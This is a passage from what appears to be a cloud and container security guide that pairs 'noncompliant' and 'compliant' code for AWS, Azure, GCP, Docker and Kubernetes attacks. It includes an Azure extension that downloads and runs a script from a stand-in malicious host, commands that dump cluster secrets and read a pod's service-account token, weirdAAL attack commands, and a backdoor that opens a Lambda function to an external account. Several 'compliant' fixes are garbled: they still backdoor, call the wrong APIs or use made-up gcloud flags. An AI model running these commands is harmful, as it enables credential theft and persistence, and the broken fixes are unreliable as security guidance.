AWS SDK. The access key ID and secret access key are printed to the console, which can lead to accidental exposure or potential misuse. Compliant Code: The compliant code demonstrates the creation of an access key on an IAM user with proper controls and security measures. ``` import boto3 def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] secret_access_key = response['AccessKey']['SecretAccessKey'] # Store the access key securely or provide it to the user using secure means print(f"Access key created for IAM user: {user_name}") # Usage create_access_key('my_user') ``` ## Create a Login Profile on an IAM User Creating an access key on an IAM user allows programmatic access to AWS services and resources for that specific user. Access keys are composed of an access key ID and a secret access key, which are used for authentication when making API requests to AWS. Noncompliant Code: The following noncompliant code demonstrates the creation of an access key on an IAM user without considering security best practices: ``` import boto3 def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] secret_access_key = response['AccessKey']['SecretAccessKey'] print(f"Access Key ID: {access_key_id}") print(f"Secret Access Key: {secret_access_key}") # Usage create_access_key('my_user') ``` The noncompliant code uses the AWS SDK's create_access_key method to generate an access key for the specified IAM user. It retrieves the access key ID and secret access key from the response and prints them to the console. Storing or exposing the access key in this manner increases the risk of accidental exposure or unauthorized access. Compliant Code: The following compliant code demonstrates the creation of an access key on an IAM user while adhering to security best practices: ``` import boto3 import getpass def create_access_key(user_name): iam = boto3.client('iam') response = iam.create_access_key(UserName=user_name) access_key_id = response['AccessKey']['AccessKeyId'] # Store or provide the access key securely, without displaying it print("Access key created for IAM user:", user_name) # Usage user_name = getpass.getuser() create_access_key(user_name) ``` ## Backdoor Lambda Function Through Resource-Based Policy Backdooring a Lambda function through its resource-based policy involves modifying the permissions of the Lambda function to allow its invocation from an external AWS account. This establishes persistence by enabling unauthorized access to the function. Noncompliant Code: The following noncompliant code demonstrates backdooring a Lambda function by modifying its resource-based policy without considering security best practices: ``` import boto3 def backdoor_lambda_function(function_name, external_account_id): lambda_client = boto3.client('lambda') response = lambda_client.add_permission( FunctionName=function_name, StatementId='backdoor', Action='lambda:InvokeFunction', Principal='arn:aws:iam::' + external_account_id + ':root' ) print("Lambda function backdoored successfully.") # Usage backdoor_lambda_function('my-function', '123456789012') ``` The noncompliant code uses the AWS SDK's add_permission method to modify the resource-based policy of the Lambda function. It adds a permission statement that allows the specified external AWS account to invoke the function. This code does not consider security best practices, such as proper authorization and verification. Compliant Code: The following compliant code demonstrates backdooring a Lambda function while following security best practices: ``` import boto3 def backdoor_lambda_function(function_name, external_account_id): lambda_client = boto3.client('lambda') response = lambda_client.add_permission( FunctionName=function_name, StatementId='backdoor', Action='lambda:InvokeFunction', Principal='arn:aws:iam::' + external_account_id + ':root' ) if response['ResponseMetadata']['HTTPStatusCode'] == 201: print("Lambda function backdoored successfully.") else: print("Failed to backdoor Lambda function.") # Usage backdoor_lambda_function('my-function', '123456789012') ``` ## Overwrite Lambda Function Code Overwriting a Lambda function's code involves modifying the code of an existing Lambda function to establish persistence or perform more advanced operations, such as data exfiltration during runtime. Noncompliant Code: The following noncompliant code demonstrates overwriting a Lambda function's code without considering security best practices: ``` import boto3 def overwrite_lambda_code(function_name, new_code_path): lambda_client = boto3.client('lambda') with open(new_code_path, 'rb') as file: new_code = file.read() response = lambda_client.update_function_code( FunctionName=function_name, ZipFile=new_code ) print("Lambda function code overwritten successfully.") # Usage overwrite_lambda_code('my-function', '/path/to/new_code.zip') ``` The noncompliant code uses the AWS SDK's update_function_code method to overwrite the code of the Lambda function. It reads the new code from a file and updates the Lambda function's code with the provided code. This code does not consider security best practices, such as proper authorization, code integrity checks, and versioning. Compliant Code: The following compliant code demonstrates overwriting a Lambda function's code while following security best practices: ``` import boto3 def overwrite_lambda_code(function_name, new_code_path): lambda_client = boto3.client('lambda') with open(new_code_path, 'rb') as file: new_code = file.read() response = lambda_client.update_function_code( FunctionName=function_name, ZipFile=new_code, Publish=True ) if response['ResponseMetadata']['HTTPStatusCode'] == 200: print("Lambda function code overwritten successfully.") else: print("Failed to overwrite Lambda function code.") # Usage overwrite_lambda_code('my-function', '/path/to/new_code.zip') ``` ## Create an IAM Roles Anywhere trust anchor Creating an IAM Roles Anywhere trust anchor involves establishing persistence by creating a trust anchor certificate that allows workloads outside of AWS to assume IAM roles through the IAM Roles Anywhere service. Noncompliant Code: The following noncompliant code demonstrates the creation of an IAM Roles Anywhere trust anchor without following security best practices: ``` import boto3 def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate): iam_client = boto3.client('iam') response = iam_client.create_service_specific_credential( UserName=role_name, ServiceName='roles-anywhere.amazonaws.com' ) print("IAM Roles Anywhere trust anchor created successfully.") return response['ServiceSpecificCredential'] # Usage create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----') ``` The noncompliant code uses the AWS SDK's create_service_specific_credential method to create an IAM Roles Anywhere trust anchor. It specifies the IAM role and the roles-anywhere.amazonaws.com service name. However, this code does not consider security best practices, such as proper authorization, secure handling of the trust anchor certificate, and least privilege principles. Compliant Code: The following compliant code demonstrates the creation of an IAM Roles Anywhere trust anchor while following security best practices: ``` import boto3 def create_roles_anywhere_trust_anchor(role_name, trust_anchor_certificate): iam_client = boto3.client('iam') response = iam_client.upload_signing_certificate( UserName=role_name, CertificateBody=trust_anchor_certificate ) print("IAM Roles Anywhere trust anchor created successfully.") return response['Certificate'] # Usage create_roles_anywhere_trust_anchor('my-role', '-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----') ``` ## Execute Command on Virtual Machine using Custom Script Extension Executing a command on a virtual machine using the Custom Script Extension in Azure allows an attacker to pass PowerShell commands to the virtual machine as SYSTEM, enabling them to perform unauthorized actions. Noncompliant Code: The following noncompliant code demonstrates the execution of a command on a virtual machine using the Custom Script Extension without following security best practices: ``` { "type": "Microsoft.Compute/virtualMachines/extensions", "name": "CustomScriptExtension", "apiVersion": "2020-12-01", "location": "", "properties": { "publisher": "Microsoft.Compute", "type": "CustomScriptExtension", "typeHandlerVersion": "1.10", "autoUpgradeMinorVersion": true, "settings": { "fileUris": ["https://malicious-site.com/malicious-script.ps1"], "commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File malicious-script.ps1" } } } ``` The noncompliant code directly references a malicious script hosted on a remote site and executes it on the virtual machine without considering security best practices. Compliant Code: The following compliant code demonstrates the execution of a command on a virtual machine using the Custom Script Extension while following security best practices: ``` { "type": "Microsoft.Compute/virtualMachines/extensions", "name": "CustomScriptExtension", "apiVersion": "2020-12-01", "location": "", "properties": { "publisher": "Microsoft.Compute", "type": "CustomScriptExtension", "typeHandlerVersion": "1.10", "autoUpgradeMinorVersion": true, "settings": { "fileUris": ["https://secure-site.com/secure-script.ps1"], "commandToExecute": "powershell.exe -ExecutionPolicy RemoteSigned -File secure-script.ps1" }, "protectedSettings": { "storageAccountName": "", "storageAccountKey": "" } } } ``` ## Execute Commands on Virtual Machine using Run Command Executing commands on a virtual machine using the Run Command feature in Azure allows an attacker to pass PowerShell commands (Windows) or shell commands (Linux) to the virtual machine with elevated privileges. Noncompliant Code: The following noncompliant code demonstrates the execution of a command on a virtual machine using the Run Command feature without following security best practices: ``` { "location": "", "properties": { "commandId": "RunPowerShellScript", "script": "", "timeoutInSeconds": 60 } } ``` The noncompliant code directly executes a malicious script without considering security best practices. It lacks proper validation and control over the script content, which can lead to unauthorized or malicious actions. Compliant Code: The following compliant code demonstrates the execution of commands on a virtual machine using the Run Command feature while following security best practices: ``` { "location": "", "properties": { "commandId": "RunPowerShellScript", "script": "", "timeoutInSeconds": 60, "parameters": [] } } ``` ## Export Disk Through SAS URL Exporting a disk through a SAS (Shared Access Signature) URL in Azure allows an attacker to generate a public URL that can be used to download the Azure disk, facilitating data exfiltration. Noncompliant Code: The following noncompliant code demonstrates exporting a disk through a SAS URL without following security best practices: ``` from azure.storage.blob import BlobServiceClient def export_disk_to_sas_url(disk_name, container_name, storage_account_name, storage_account_key): blob_service_client = BlobServiceClient(account_url=f"https://{storage_account_name}.blob.core.windows.net", credential=storage_account_key) container_client = blob_service_client.get_container_client(container_name) sas_url = container_client.get_blob_client(disk_name).url + '?' + container_client.generate_shared_access_signature(permission='r', expiry='2030-01-01') return sas_url ``` The noncompliant code generates a SAS URL for the disk without considering security best practices. It lacks proper validation, access controls, and restrictions, making the disk accessible to anyone with the URL. This can lead to unauthorized access and data exfiltration. Compliant Code: The following compliant code demonstrates exporting a disk through a SAS URL while following security best practices: ``` from azure.storage.blob import BlobServiceClient, BlobSasPermissions, generate_blob_sas from datetime import datetime, timedelta def export_disk_to_sas_url(disk_name, container_name, storage_account_name, storage_account_key): blob_service_client = BlobServiceClient(account_url=f"https://{storage_account_name}.blob.core.windows.net", credential=storage_account_key) container_client = blob_service_client.get_container_client(container_name) expiry_time = datetime.utcnow() + timedelta(days=7) permissions = BlobSasPermissions(read=True) sas_url = container_client.get_blob_client(disk_name).url + '?' + generate_blob_sas( container_client.account_name, container_client.container_name, container_client.blob_name, account_key=container_client.credential.account_key, permission=permissions, expiry=expiry_time ) return sas_url ``` ## Create an Admin GCP Service Account Creating an Admin GCP Service Account involves establishing persistence by creating a new service account and granting it owner permissions within the current GCP project. This allows the attacker to escalate privileges and maintain long-term control over the project. Noncompliant Code: The following noncompliant code demonstrates creating an admin GCP service account without following security best practices: ``` #!/bin/bash # Create a new service account gcloud iam service-accounts create admin-account --display-name="Admin Service Account" # Assign owner role to the service account gcloud projects add-iam-policy-binding --member="serviceAccount:admin-account@.iam.gserviceaccount.com" --role="roles/owner" ``` The noncompliant code creates a new service account named "admin-account" and assigns it the owner role directly within the project. This approach lacks proper access controls, least privilege principles, and separation of duties, granting excessive privileges to the service account. Compliant Code: The following compliant code demonstrates creating an admin GCP service account while following security best practices: ``` #!/bin/bash # Create a new service account gcloud iam service-accounts create admin-account --display-name="Admin Service Account" # Grant minimum necessary permissions to the service account gcloud projects add-iam-policy-binding --member="serviceAccount:admin-account@.iam.gserviceaccount.com" --role="roles/viewer" # Delegate owner role assignment to a separate privileged account gcloud projects add-iam-policy-binding --member="user:privileged-user@domain.com" --role="roles/iam.serviceAccountAdmin" gcloud iam service-accounts add-iam-policy-binding admin-account@.iam.gserviceaccount.com --member="user:privileged-user@domain.com" --role="roles/iam.serviceAccountUser" ``` ## Create a GCP Service Account Key Creating a GCP Service Account Key involves generating a key for an existing service account, which can be used for authentication and accessing resources within the associated GCP project. This action is typically used for establishing persistence and potentially escalating privileges. Noncompliant Code: The following noncompliant code demonstrates creating a service account key without following security best practices: ``` #!/bin/bash # Create a new service account key gcloud iam service-accounts keys create key.json --iam-account= ``` The noncompliant code generates a service account key using the gcloud iam service-accounts keys create command. However, it lacks proper security controls and does not follow recommended practices. Compliant Code: The following compliant code demonstrates creating a service account key while following security best practices: ``` #!/bin/bash # Create a new service account key with restricted permissions gcloud iam service-accounts keys create key.json --iam-account= --key-type=json --project= --private-key-type=rsa --private-key-algorithm=rsa-sha256 --validity-period= # Store the generated key securely # ... ``` ## Impersonate GCP Service Accounts Impersonating GCP Service Accounts is a privilege escalation technique that allows an attacker to obtain temporary credentials and act as a service account within a GCP project. By impersonating a service account, an attacker can potentially gain elevated privileges and access sensitive resources. Noncompliant Code: The following noncompliant code demonstrates an attempt to impersonate GCP service accounts without following security best practices: ``` from google.auth import impersonated_credentials from google.auth.transport.requests import Request from google.oauth2 import service_account # Service account credentials for the current user with 'iam.serviceAccountTokenCreator' role credentials = service_account.Credentials.from_service_account_file('user-credentials.json') # List of service account email addresses to impersonate service_account_emails = ['service-account1@project-id.iam.gserviceaccount.com', 'service-account2@project-id.iam.gserviceaccount.com'] # Impersonate each service account and retrieve temporary credentials for email in service_account_emails: target_credentials = impersonated_credentials.Credentials(credentials, target_principal=email, target_scopes=['https://www.googleapis.com/auth/cloud-platform']) target_credentials.refresh(Request()) # Use the target_credentials for further actions ``` The noncompliant code attempts to impersonate GCP service accounts without implementing proper security controls. It uses the google-auth library to perform the impersonation. However, it lacks important security considerations, such as validation and monitoring. Compliant Code: The following compliant code demonstrates a more secure approach to impersonating GCP service accounts: ``` from google.auth import impersonated_credentials from google.auth.transport.requests import Request from google.oauth2 import service_account # Service account credentials for the current user with 'iam.serviceAccountTokenCreator' role credentials = service_account.Credentials.from_service_account_file('user-credentials.json') # List of service account email addresses to impersonate service_account_emails = ['service-account1@project-id.iam.gserviceaccount.com', 'service-account2@project-id.iam.gserviceaccount.com'] # Impersonate each service account and retrieve temporary credentials for email in service_account_emails: try: target_credentials = impersonated_credentials.Credentials(credentials, target_principal=email, target_scopes=['https://www.googleapis.com/auth/cloud-platform']) target_credentials.refresh(Request()) # Use the target_credentials for further actions except Exception as e: # Handle impersonation failure, e.g., log the event or trigger an alert print(f"Impersonation of {email} failed: {str(e)}") ``` ## AWS cross-account enumeration ``` weirdAAL.py cross_account_enum ``` ## Privilege escalation through EC2 metadata ``` weirdAAL.py ec2_metadata ``` ## Enumeration of AWS Systems Manager parameters ``` weirdAAL.py ssm_enum ``` ## Enumeration of EC2 instances with public IP addresses ``` weirdAAL.py public_ec2_enum ``` ## Stealing EC2 instance metadata ``` weirdAAL.py steal_metadata ``` ## Privilege escalation by attaching an EC2 instance profile ``` weirdAAL.py attach_instance_profile ``` ## Enumeration of Elastic Beanstalk environments with public access ``` weirdAAL.py public_eb_enum ``` ## Privilege escalation through hijacking AWS CLI sessions ``` weirdAAL.py hijack_cli ``` ## Enumeration of ECR repositories with public access ``` weirdAAL.py public_ecr_enum ``` ## Privilege escalation through hijacking AWS SDK sessions ``` weirdAAL.py hijack_sdk ``` ## Enumeration of ECS clusters and services ``` weirdAAL.py ecs_enum ``` ## Privilege escalation through assumed role sessions ``` weirdAAL.py assume_role ``` ## Enumeration of AWS Glue Data Catalog databases ``` weirdAAL.py glue_enum ``` ## Privilege escalation through EC2 instance takeover ``` weirdAAL.py ec2_takeover ``` ## Enumeration of open S3 buckets and their contents ``` weirdAAL.py s3_enum --list-objects ``` ## Privilege escalation through RDS database credentials weirdAAL.py rds_priv_esc ## Enumeration of EKS clusters and associated resources ``` weirdAAL.py eks_enum ``` ## Privilege escalation through KMS key policy modifications ``` weirdAAL.py kms_priv_esc ``` ================================================ FILE: docs/attacks/container.md ================================================ --- layout: default title: Container Attacks parent: Attacks --- # Container Attacks {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Insecure Container Images: Using container images that contain vulnerable or outdated software components, which can be exploited by attackers. Example: A container image that includes a vulnerable version of a web server software. ### Malicious Images via Aqua * docker-network-bridge- * ipv6:0.0.2 * docker-network-bridge- * ipv6:0.0.1 * docker-network-ipv6:0.0.12 * ubuntu:latest * ubuntu:latest * ubuntu:18.04 * busybox:latest * alpine: latest * alpine-curl * xmrig:latest * alpine: 3.13 * dockgeddon: latest * tornadorangepwn:latest * jaganod: latest * redis: latest * gin: latest (built on host) * dockgeddon:latest * fcminer: latest * debian:latest * borg:latest * docked:latestk8s.gcr.io/pause:0.8 * dockgeddon:latest * stage2: latest * dockerlan:latest * wayren:latest * basicxmr:latest * simpledockerxmr:latest * wscopescan:latest * small: latest * app:latest * Monero-miner: latest * utnubu:latest * vbuntu:latest * swarm-agents:latest * scope: 1.13.2 * apache:latest * kimura: 1.0 * xmrig: latest * sandeep078: latest * tntbbo:latest * kuben2 ### Other Images * OfficialImagee * Ubuntuu * Cent0S * Alp1ne * Pythoon ## Privileged Container Running containers with elevated privileges, allowing potential attackers to gain control over the underlying host system. Example: Running a container with root-level access and unrestricted capabilities. In the noncompliant code, the container is launched with the --privileged flag, enabling privileged mode. This grants the container unrestricted access to the host system, potentially compromising its security boundaries. ``` # Noncompliant: Privileged container FROM ubuntu ... # Running container in privileged mode RUN docker run -it --privileged ubuntu /bin/bash ``` The compliant code addresses the vulnerability by running the container without privileged mode. This restricts the container's access to system resources and reduces the risk of privilege escalation and unauthorized access to the host. ``` # Compliant: Non-privileged container FROM ubuntu ... # Running container without privileged mode RUN docker run -it ubuntu /bin/bash ``` ## Exposed Container APIs Insecurely exposing container APIs without proper authentication or access controls, allowing attackers to manipulate or extract sensitive information from containers. Example: Exposing Docker API without any authentication or encryption. In the noncompliant code, the container's API is exposed on port 8080 without any authentication or authorization mechanisms in place. This allows unrestricted access to the container API, making it susceptible to unauthorized access and potential attacks. ``` # Noncompliant: Exposed container API without authentication/authorization FROM nginx ... # Expose container API on port 8080 EXPOSE 8080 ``` The compliant code addresses the vulnerability by exposing the container's API internally on port 8080 and leveraging a reverse proxy or API gateway for authentication and authorization. The reverse proxy or API gateway acts as a security layer, handling authentication/authorization requests before forwarding them to the container API. To further enhance the security of exposed container APIs, consider the following best practices: 1. Implement strong authentication and authorization mechanisms: Use industry-standard authentication protocols (e.g., OAuth, JWT) and enforce access controls based on user roles and permissions. 1. Employ Transport Layer Security (TLS) encryption: Secure the communication between clients and the container API using TLS certificates to protect against eavesdropping and tampering. 1. Regularly monitor and log API activity: Implement logging and monitoring mechanisms to detect and respond to suspicious or malicious activity. 1. Apply rate limiting and throttling: Protect the API from abuse and denial-of-service attacks by enforcing rate limits and throttling requests. ``` # Compliant: Secured container API with authentication/authorization FROM nginx ... # Expose container API on port 8080 (internal) EXPOSE 8080 # Use a reverse proxy or API gateway for authentication/authorization ``` ## Container Escape Exploiting vulnerabilities in the container runtime or misconfigurations to break out of the container's isolation and gain unauthorized access to the host operating system. Example: Exploiting a vulnerability in the container runtime to access the host system and other containers. The below code creates and starts a container without any security isolation measures. This leaves the container susceptible to container escape attacks, where an attacker can exploit vulnerabilities in the container runtime or misconfigured security settings to gain unauthorized access to the host system. ``` # Noncompliant: Running a container without proper security isolation require 'docker' # Create a container with default settings container = Docker::Container.create('Image' => 'nginx') container.start ``` we introduce security enhancements to mitigate the risk of container escape. The HostConfig parameter is used to configure the container's security settings. Here, we: Set 'Privileged' => false to disable privileged mode, which restricts access to host devices and capabilities. Use 'CapDrop' => ['ALL'] to drop all capabilities from the container, minimizing the potential attack surface. Add 'SecurityOpt' => ['no-new-privileges'] to prevent privilege escalation within the container. ``` # Compliant: Running a container with enhanced security isolation require 'docker' # Create a container with enhanced security settings container = Docker::Container.create( 'Image' => 'nginx', 'HostConfig' => { 'Privileged' => false, # Disable privileged mode 'CapDrop' => ['ALL'], # Drop all capabilities 'SecurityOpt' => ['no-new-privileges'] # Prevent privilege escalation } ) container.start ``` ## Container Image Tampering Modifying or replacing container images with malicious versions that may contain malware, backdoors, or vulnerable components. Example: Tampering with a container image to inject malicious code that steals sensitive information. The below code directly pulls and runs a container image without verifying its integrity. This leaves the application vulnerable to container image tampering, where an attacker can modify the container image to include malicious code or compromise the application's security. ``` #Pulling and running a container image without verifying integrity require 'docker' # Pull the container image image = Docker::Image.create('fromImage' => 'nginx') # Run the container image container = Docker::Container.create('Image' => image.id) container.start ``` we address this issue by introducing integrity verification. The code calculates the expected digest of the pulled image using the SHA256 hash algorithm. It then compares this expected digest with the actual digest of the image obtained from the Docker API. If the digests do not match, an integrity verification failure is raised, indicating that the image may have been tampered with. ``` # Compliant: Pulling and running a container image with integrity verification require 'docker' require 'digest' # Image name and tag image_name = 'nginx' image_tag = 'latest' # Pull the container image image = Docker::Image.create('fromImage' => "#{image_name}:#{image_tag}") # Verify the integrity of the pulled image expected_digest = Digest::SHA256.hexdigest(image.connection.get("/images/#{image.id}/json").body) actual_digest = image.info['RepoDigests'].first.split('@').last if expected_digest != actual_digest raise "Integrity verification failed for image: #{image_name}:#{image_tag}" end # Run the container image container = Docker::Container.create('Image' => image.id) container.start ``` ## Insecure Container Configuration Misconfigurations in container settings, such as weak access controls or excessive permissions, allowing attackers to compromise the container or its environment. Example: Running a container with unnecessary capabilities or insecure mount points. The noncompliant code creates and starts a container with default settings, which may have insecure configurations. These misconfigurations can lead to vulnerabilities, such as privilege escalation, excessive container privileges, or exposure of sensitive resources. ``` # Noncompliant: Running a container with insecure configuration require 'docker' # Create a container with default settings container = Docker::Container.create('Image' => 'nginx') container.start ``` In the compliant code, we address these security concerns by applying secure container configurations. The HostConfig parameter is used to specify the container's configuration. Here, we: Set 'ReadOnly' => true to make the container's filesystem read-only, preventing potential tampering and unauthorized modifications. Use 'CapDrop' => ['ALL'] to drop all capabilities from the container, minimizing the attack surface and reducing the potential impact of privilege escalation. Add 'SecurityOpt' => ['no-new-privileges'] to prevent the container from gaining additional privileges. Specify 'NetworkMode' => 'bridge' to isolate the container in a bridge network, ensuring separation from the host and other containers. Use 'PortBindings' to bind the container's port to a specific host port ('80/tcp' => [{ 'HostPort' => '8080' }]). This restricts network access to the container and avoids exposing unnecessary ports. ``` # Compliant: Running a container with secure configuration require 'docker' # Create a container with secure settings container = Docker::Container.create( 'Image' => 'nginx', 'HostConfig' => { 'ReadOnly' => true, # Set container as read-only 'CapDrop' => ['ALL'], # Drop all capabilities 'SecurityOpt' => ['no-new-privileges'], # Prevent privilege escalation 'NetworkMode' => 'bridge', # Use a bridge network for isolation 'PortBindings' => { '80/tcp' => [{ 'HostPort' => '8080' }] } # Bind container port to a specific host port } ) container.start ``` ## Denial-of-Service (DoS) Overloading container resources or exploiting vulnerabilities in the container runtime to disrupt the availability of containerized applications. Example: Launching a DoS attack against a container by overwhelming it with excessive requests. The noncompliant code snippet shows a Dockerfile that is vulnerable to resource overloading and DoS attacks. It does not implement any resource limitations or restrictions, allowing the container to consume unlimited resources. This can lead to a DoS situation if an attacker overwhelms the container with excessive requests or exploits vulnerabilities in the container runtime. ``` # Noncompliant: Vulnerable Dockerfile with unlimited resource allocation FROM nginx:latest COPY app /usr/share/nginx/html EXPOSE 80 CMD ["nginx", "-g", "daemon off;"] ``` The compliant code snippet addresses this vulnerability by not explicitly setting any resource limitations. However, it is essential to implement resource management and limit container resources based on your application's requirements and the resources available in your environment. This can be achieved by configuring resource limits such as CPU, memory, and network bandwidth using container orchestration platforms or Docker-compose files. ``` version: '3' services: nginx: image: nginx:latest ports: - 80:80 volumes: - ./app:/usr/share/nginx/html deploy: resources: limits: cpus: '0.5' memory: '256M' ``` ## Kernel Vulnerabilities Exploiting vulnerabilities in the kernel or host operating system to gain unauthorized access or control over containers. Example: Exploiting a kernel vulnerability to escalate privileges and compromise containers. ``` # Noncompliant: Ignoring kernel vulnerabilities docker run -d ubuntu:latest /bin/bash ``` To mitigate kernel vulnerabilities, it is important to regularly check for updates and apply security patches to the host system. Additionally, you can use tools to scan and assess the vulnerability status of the kernel before creating a Docker container. Here's an example of compliant code that incorporates checking for kernel vulnerabilities using the kubehunter tool before creating the container: ``` # Compliant: Checking kernel vulnerabilities # Perform vulnerability assessment using kubehunter kubehunter scan # Check the output for kernel vulnerabilities # If vulnerabilities are found, take necessary steps to address them # Create the Docker container docker run -d ubuntu:latest /bin/bash ``` In the compliant code snippet, the kubehunter tool is used to perform a vulnerability assessment, including checking for kernel vulnerabilities. The output of the tool is examined, and if any vulnerabilities are found, appropriate steps are taken to address them before creating the Docker container. ## Shared Kernel Exploitation Containers sharing the same kernel can be vulnerable to attacks that exploit kernel vulnerabilities, allowing attackers to affect multiple containers. Example: Exploiting a kernel vulnerability to gain unauthorized access to multiple containers on the same host. In the noncompliant code, the Docker image installs a vulnerable package and runs a vulnerable application. If an attacker manages to exploit a kernel vulnerability within the container, they could potentially escape the container and compromise the host or other containers. ``` # Noncompliant: Vulnerable to container breakout FROM ubuntu:latest # Install vulnerable package RUN apt-get update && apt-get install -y vulnerable-package # Run vulnerable application CMD ["vulnerable-app"] ``` The compliant code addresses the vulnerability by ensuring that the container image only includes necessary and secure packages. It performs regular updates and includes security patches to mitigate known vulnerabilities. By running a secure application within the container, the risk of a container breakout is reduced. To further enhance security, additional measures can be taken such as utilizing container isolation techniques like running containers with restricted privileges, leveraging security-enhanced kernels (such as those provided by certain container platforms), and monitoring and logging container activity to detect potential exploitation attempts. ``` # Compliant: Mitigated container breakout vulnerability FROM ubuntu:latest # Install security updates and necessary packages RUN apt-get update && apt-get upgrade -y && apt-get install -y secure-package # Run secure application CMD ["secure-app"] ``` ## Insecure Container Orchestration Misconfigurations or vulnerabilities in container orchestration platforms, such as Kubernetes, can lead to unauthorized access, privilege escalation, or exposure of sensitive information. Example: Exploiting a misconfigured Kubernetes cluster to gain unauthorized access to sensitive resources. In the noncompliant code, the Pod definition enables privileged mode for the container, granting it elevated privileges within the container orchestration environment. If an attacker gains access to this container, they could exploit the elevated privileges to perform malicious actions on the host or compromise other containers. ``` # Noncompliant: Vulnerable to privilege escalation apiVersion: v1 kind: Pod metadata: name: vulnerable-pod spec: containers: - name: vulnerable-container image: vulnerable-image securityContext: privileged: true # Privileged mode enabled ``` The compliant code addresses the vulnerability by explicitly disabling privileged mode for the container. By running containers with reduced privileges, the impact of a potential compromise is limited, and the attack surface is minimized. In addition to disabling privileged mode, other security measures should be implemented to enhance the security of container orchestration. This includes configuring appropriate RBAC (Role-Based Access Control) policies, enabling network segmentation and isolation, regularly applying security patches to the orchestration system, and monitoring the environment for suspicious activities. ``` # Compliant: Mitigated privilege escalation apiVersion: v1 kind: Pod metadata: name: secure-pod spec: containers: - name: secure-container image: secure-image securityContext: privileged: false # Privileged mode disabled ``` ## Dump All Secrets Dumping all secrets in a Kubernetes cluster refers to an unauthorized extraction of sensitive information stored as secrets within the cluster. This attack allows an attacker with the right permissions to access and exfiltrate all secrets, potentially leading to further compromise. Noncompliant Code: The following noncompliant code demonstrates an attempt to dump all secrets from a Kubernetes cluster without proper authorization: ``` # Retrieve all secrets using kubectl command kubectl get secrets --all-namespaces -o json > secrets.json ``` The noncompliant code utilizes the kubectl get secrets command to retrieve all secrets in the cluster across all namespaces. This action assumes that the attacker has the necessary permissions to access and list secrets, potentially leading to unauthorized access to sensitive information. Compliant Code: Dumping all secrets in a Kubernetes cluster is considered a malicious activity, and providing compliant code for it would be inappropriate. Instead, I can provide you with guidelines on how to ensure the security of secrets in a Kubernetes cluster: * Implement Least Privilege: Follow the principle of least privilege when granting permissions to users and service accounts. Only assign the necessary privileges required for specific tasks, and regularly review and audit these permissions. * Implement Role-Based Access Control (RBAC): Configure RBAC rules to restrict access to secrets based on the principle of least privilege. Assign appropriate roles to users and service accounts, ensuring they have the minimum necessary permissions. * Use Namespaces: Leverage Kubernetes namespaces to logically segregate resources and isolate secrets. Limit access to secrets within specific namespaces based on the principle of least privilege. * Implement Secrets Encryption: Encrypt secrets at rest and in transit. Kubernetes provides mechanisms such as the Secrets Encryption Configuration feature, which encrypts secrets stored in etcd, the Kubernetes cluster's key-value store. * Monitor Kubernetes API Server Audit Logs: Enable and monitor Kubernetes API server audit logs to detect and investigate suspicious activities, such as unauthorized access attempts or abnormal querying of secrets. * Regularly Rotate Secrets: Implement a process to regularly rotate secrets to minimize the impact of potential compromise. This includes setting expiry times for secrets and automating the rotation process. * Secure Cluster Access: Secure access to the Kubernetes cluster by implementing strong authentication mechanisms, such as using strong passwords, multi-factor authentication (MFA), or integration with an identity provider. ## Steal Pod Service Account Token Stealing a pod's service account token refers to the unauthorized extraction of the service account token from a running pod in a Kubernetes cluster. The service account token is a sensitive credential that grants access to the Kubernetes API and other resources within the cluster. Noncompliant Code: The following noncompliant code demonstrates an attempt to steal the service account token from a running pod: ``` # Execute command to read the service account token from within the pod kubectl exec -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` The noncompliant code uses the kubectl exec command to execute a command (cat /var/run/secrets/kubernetes.io/serviceaccount/token) inside the specified pod. This command reads and outputs the contents of the service account token file. An attacker with sufficient access to the cluster could use this method to steal the token and gain unauthorized access to Kubernetes resources. Compliant Code: It is essential to adhere to security best practices and prevent the theft of service account tokens. Below are some recommendations for securing pod service account tokens: * Limit Pod Permissions: Assign minimal permissions to pods by using the principle of least privilege. Only grant the necessary access required for the pod to function properly. * Use Role-Based Access Control (RBAC): Implement RBAC rules to restrict pod permissions and limit the ability to execute privileged commands or access sensitive files. * Avoid Mounting Service Account Tokens: When creating pods, avoid mounting the service account token as a volume or exposing it as an environment variable. Minimize the attack surface by not making the token easily accessible within the pod. * Regularly Rotate Service Account Tokens: Implement a process to periodically rotate service account tokens. This helps mitigate the impact of a compromised token and reduces the window of opportunity for attackers. * Monitor Pod Activity: Enable logging and monitoring for pod activities. Regularly review logs and detect any suspicious or unauthorized access attempts. * Implement Pod Security Policies: Utilize Pod Security Policies (PSPs) to enforce security controls on pod creation, including restrictions on executing privileged commands or accessing sensitive files. ## Create Admin ClusterRole Create Admin ClusterRole refers to the process of creating a Kubernetes ClusterRole with administrative permissions. It involves creating a Service Account bound to the ClusterRole and establishing a Cluster Role Binding to associate the Service Account with the desired privileges. Noncompliant Code: The following noncompliant code demonstrates the creation of an Admin ClusterRole: ``` # Create an Admin ClusterRole apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: admin-clusterrole rules: - apiGroups: [""] resources: ["*"] verbs: ["*"] # Create a Service Account in the kube-system namespace apiVersion: v1 kind: ServiceAccount metadata: name: admin-serviceaccount namespace: kube-system # Create a Cluster Role Binding to associate the Service Account with the ClusterRole apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: admin-clusterrolebinding subjects: - kind: ServiceAccount name: admin-serviceaccount namespace: kube-system roleRef: kind: ClusterRole name: admin-clusterrole apiGroup: rbac.authorization.k8s.io ``` The noncompliant code creates an Admin ClusterRole named "admin-clusterrole" with wide-ranging permissions (apiGroups: [""], resources: [""], verbs: [""]). It also creates a Service Account named "admin-serviceaccount" in the kube-system namespace and binds it to the Admin ClusterRole using a Cluster Role Binding named "admin-clusterrolebinding". This configuration grants the Service Account administrative access to all resources in the cluster, which is not recommended for security reasons. Compliant Code: When creating a ClusterRole with administrative permissions, it is important to follow the principle of least privilege and assign only the necessary privileges to the 